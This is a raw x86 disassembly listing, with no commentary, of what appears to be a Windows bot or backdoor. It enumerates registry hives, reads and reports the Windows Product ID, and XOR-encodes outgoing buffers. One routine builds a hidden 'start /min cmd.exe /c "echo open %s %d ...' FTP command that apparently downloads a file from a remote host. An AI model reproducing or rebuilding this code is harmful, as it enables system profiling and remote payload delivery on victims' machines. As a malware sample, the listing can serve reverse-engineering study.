		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_446BCB+1)
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_43581C:				; CODE XREF: sub_4356F0+FCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2900000h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 2
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000002h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 3
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_435904
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_446BBF+1)
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_435904:				; CODE XREF: sub_4356F0+1E4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		call	near ptr 2900000h
		nop
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 4
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000005h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 5
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_4359EC
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset loc_446BB4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_4359EC:				; CODE XREF: sub_4356F0+2CCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2900000h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 6
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000000h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 7
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_435AD4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset aHkcrS	; "HKCR: %s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_435AD4:				; CODE XREF: sub_4356F0+3B4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2900000h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+150h+var_128]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], 8
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000003h
		call	edi
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+150h+var_128]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+148h+var_130]
		lea	edx, [esp+148h+var_10C]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	[esp+158h+var_4], 9
		call	sub_4017E4
		push	eax
		mov	eax, [esp+15Ch+var_134]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		setz	[esp+148h+var_135]
		call	sub_401226
		mov	al, [esp+148h+var_135]
		pop	ebp
		test	al, al
		jz	short loc_435BBD
		lea	ecx, [esp+144h+var_10C]
		push	ecx
		push	offset aHkuS	; "HKU:	%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_435BBD:				; CODE XREF: sub_4356F0+49Dj
		mov	ecx, [esp+144h+var_134]
		push	ecx
		jmp	loc_435C61
; ---------------------------------------------------------------------------


loc_435BC7:				; CODE XREF: sub_4356F0+3Cj
		lea	ecx, [edi+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_435C67
		lea	edx, [esp+144h+var_12C]
		mov	[esp+144h+var_12C], eax
		push	edx
		push	20019h
		push	eax
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	[esp+158h+var_110], 80h
		nop
		call	near ptr 2940000h
		mov	edx, [esp+144h+var_12C]
		lea	eax, [esp+144h+var_110]
		lea	ecx, [esp+144h+var_8C]
		push	eax
		push	ecx
		push	0
		push	0
		push	offset aProductid ; "ProductId"
		push	edx
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jnz	short loc_435C5C
		lea	eax, [esp+144h+var_8C]
		lea	ecx, [esi+69h]
		push	eax
		push	offset aFoundWindowsPr ; "Found	Windows	Product	ID (%s)."
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_435C5C:				; CODE XREF: sub_4356F0+539j
		mov	eax, [esp+144h+var_12C]
		push	eax


loc_435C61:				; CODE XREF: sub_4356F0+4D2j
		nop
		call	near ptr 2900000h


loc_435C67:				; CODE XREF: sub_4356F0+4E9j
		mov	ecx, [esp+144h+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 138h
		retn	4
sub_4356F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 170h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435E00	proc near		; CODE XREF: sub_401334j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		test	esi, esi
		jle	short loc_435E1D
		mov	cl, [esp+4+arg_8]
		mov	edx, [esp+4+arg_0]


loc_435E13:				; CODE XREF: sub_435E00+1Bj
		cmp	[eax+edx], cl
		jz	short loc_435E21
		inc	eax
		cmp	eax, esi
		jl	short loc_435E13


loc_435E1D:				; CODE XREF: sub_435E00+9j
		pop	esi
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_435E21:				; CODE XREF: sub_435E00+16j
		pop	esi
		mov	al, 1
		retn
sub_435E00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435E40:				; CODE XREF: ___:00401429j
		push	ecx
		mov	eax, [esp+18h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	eax
		mov	dword ptr [esp+14h], 98h
		call	near ptr 71AB2B66h
		nop
		mov	ebx, [esp+1Ch]
		and	eax, 0FFFFh
		push	ebx
		mov	[esp+2Ch], eax
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+38h]
		mov	ecx, 6
		mov	esi, (offset loc_446BD7+1)
		mov	edi, edx
		rep movsd
		mov	ecx, [esp+30h]
		add	esp, 8
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	eax, [esp+34h]
		mov	ecx, [esp+2Ch]
		mov	[esp+1Ch], edx
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	cx, [esp+2Eh]
		mov	[eax+ebp+2], cl
		mov	[eax+ebp+3], ch
		mov	eax, [esp+38h]
		test	eax, eax
		jz	short loc_435EFC
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_435EFC:				; CODE XREF: ___:00435EF3j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_435F3E:				; CODE XREF: ___:00435FB7j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_435F7E
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_435F7E
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_435F7E
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_435FB9


loc_435F7E:				; CODE XREF: ___:00435F4Cj
					; ___:00435F5Cj ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_435FB0


loc_435FA3:				; CODE XREF: ___:00435FAEj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_435FA3


loc_435FB0:				; CODE XREF: ___:00435FA1j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_435F3E
; ---------------------------------------------------------------------------


loc_435FB9:				; CODE XREF: ___:00435F7Cj
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4360A0:				; CODE XREF: ___:00401D61j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	dword ptr [esp+10h], 98h
		repne scasb
		mov	eax, [esp+1Ch]
		not	ecx
		dec	ecx
		lea	ebx, [ecx+eax+1]
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_446BD7+1)
		mov	edi, edx
		add	esp, 8
		rep movsd
		mov	esi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		mov	edi, esi
		mov	[esp+18h], edx
		repne scasb
		mov	edx, [esp+1Ch]
		not	ecx
		mov	eax, ecx
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2Ch]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_436152
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_436152:				; CODE XREF: ___:00436149j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+18h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_436194:				; CODE XREF: ___:0043620Dj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4361D4
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4361D4
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4361D4
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_43620F


loc_4361D4:				; CODE XREF: ___:004361A2j
					; ___:004361B2j ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_436206


loc_4361F9:				; CODE XREF: ___:00436204j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4361F9


loc_436206:				; CODE XREF: ___:004361F7j
		mov	edx, [esp+18h]
		mov	[edx+13h], cl
		jmp	short loc_436194
; ---------------------------------------------------------------------------


loc_43620F:				; CODE XREF: ___:004361D2j
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+1Ch]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+1Ch]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_436300:				; CODE XREF: ___:00401FE1j
		mov	eax, 200Ch
		call	sub_436840
		mov	eax, [esp+2028h]
		mov	ecx, [esp+202Ch]
		push	ebx
		mov	edx, [esp+2028h]
		push	ebp
		push	esi
		push	edi
		push	eax
		push	eax
		mov	eax, [esp+2048h]
		push	eax
		mov	eax, [esp+203Ch]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+34h]
		push	offset aStartMinCmd_ex ; "start	/min cmd.exe /c	\"echo open %s %d "...
		push	ecx
		mov	dword ptr [esp+34h], 98h
		call	sub_5EE1E5
		nop
		lea	edi, [esp+3Ch]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	edx, [esp+2044h]
		repne scasb
		not	ecx
		dec	ecx
		lea	ebx, [ecx+edx+1]
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+2044h]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_446BD7+1)
		mov	edi, edx
		add	esp, 28h
		rep movsd
		lea	edi, [esp+1Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	[esp+10h], edx
		mov	edx, [esp+2024h]
		not	ecx
		mov	eax, ecx
		lea	esi, [esp+1Ch]
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2044h]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_436402
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_436402:				; CODE XREF: ___:004363F9j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_436444:				; CODE XREF: ___:004364BDj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436484
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436484
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436484
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4364BF


loc_436484:				; CODE XREF: ___:00436452j
					; ___:00436462j ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+14h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+14h], ecx
		jle	short loc_4364B6


loc_4364A9:				; CODE XREF: ___:004364B4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4364A9


loc_4364B6:				; CODE XREF: ___:004364A7j
		mov	edx, [esp+10h]
		mov	[edx+13h], cl
		jmp	short loc_436444
; ---------------------------------------------------------------------------


loc_4364BF:				; CODE XREF: ___:00436482j
		mov	eax, [esp+18h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+2030h]
		mov	edx, [esp+202Ch]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+14h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+14h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 200Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4365C0:				; CODE XREF: ___:00401910j
		push	ecx
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+30h]
		add	esp, 8
		mov	ecx, 6
		mov	esi, (offset loc_446BD7+1)
		mov	edi, edx
		mov	[esp+1Ch], edx
		test	eax, eax
		rep movsd
		jz	short loc_43663D
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_43663D:				; CODE XREF: ___:00436634j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43667F:				; CODE XREF: ___:004366F8j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4366BF
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4366BF
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4366BF
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4366FA


loc_4366BF:				; CODE XREF: ___:0043668Dj
					; ___:0043669Dj ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4366F1


loc_4366E4:				; CODE XREF: ___:004366EFj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4366E4


loc_4366F1:				; CODE XREF: ___:004366E2j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43667F
; ---------------------------------------------------------------------------


loc_4366FA:				; CODE XREF: ___:004366BDj
		mov	eax, [esp+18h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 68h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4367C8	proc near		; CODE XREF: SEH_4034E0+5j
					; SEH_4036D0+5j ...
		jmp	near ptr 77C227FAh
sub_4367C8	endp

; ---------------------------------------------------------------------------
		db 2, 2	dup(0CCh)
byte_4367D0	db 90h			; DATA XREF: ___:off_43E004o
					; ___:0043E018o ...
		db 0E9h, 37h, 0F7h
		dd 3DE9777Fh, 0B3777E57h, 7F2BE6E9h
; ---------------------------------------------------------------------------
		ja	short loc_43680A

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4367E2	proc near		; CODE XREF: ___:00406BE0p
					; sub_406C00+11p ...
		nop
		jmp	near ptr 77C29CDDh
sub_4367E2	endp

; ---------------------------------------------------------------------------
		dd 8112A3E9h, 0E9903C77h, 7781146Ch, 14EBE990h
		db 81h,	77h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4367FA	proc near		; CODE XREF: sub_406C30+47p
					; ___:00406CCAp ...
		nop
		jmp	near ptr 77C29CC5h
sub_4367FA	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0E1h, 0ACh
		dd 0C18B777Eh
		db 0C7h, 0
; ---------------------------------------------------------------------------


loc_43680A:				; CODE XREF: ___:004367E0j
		aam	0E1h
		inc	ebx
		add	dl, al
		add	al, 0


loc_436811:				; DATA XREF: ___:off_43E1D4o
		push	esi
		mov	esi, ecx
		call	sub_436BCC
; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_436827
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx


loc_436827:				; CODE XREF: ___:0043681Ej
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		mov	eax, ecx
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436832	proc near		; CODE XREF: sub_409580+4Dp
					; ___:0040A99Dp
		nop
		jmp	near ptr 77C226F6h
sub_436832	endp

; ---------------------------------------------------------------------------
		dd 80974DE9h, 0CCCCDC77h

; =============== S U B	R O U T	I N E =======================================



sub_436840	proc near		; CODE XREF: sub_40A030+5p
					; sub_40FF60+1Ap ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_436860


loc_43684C:				; CODE XREF: sub_436840+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
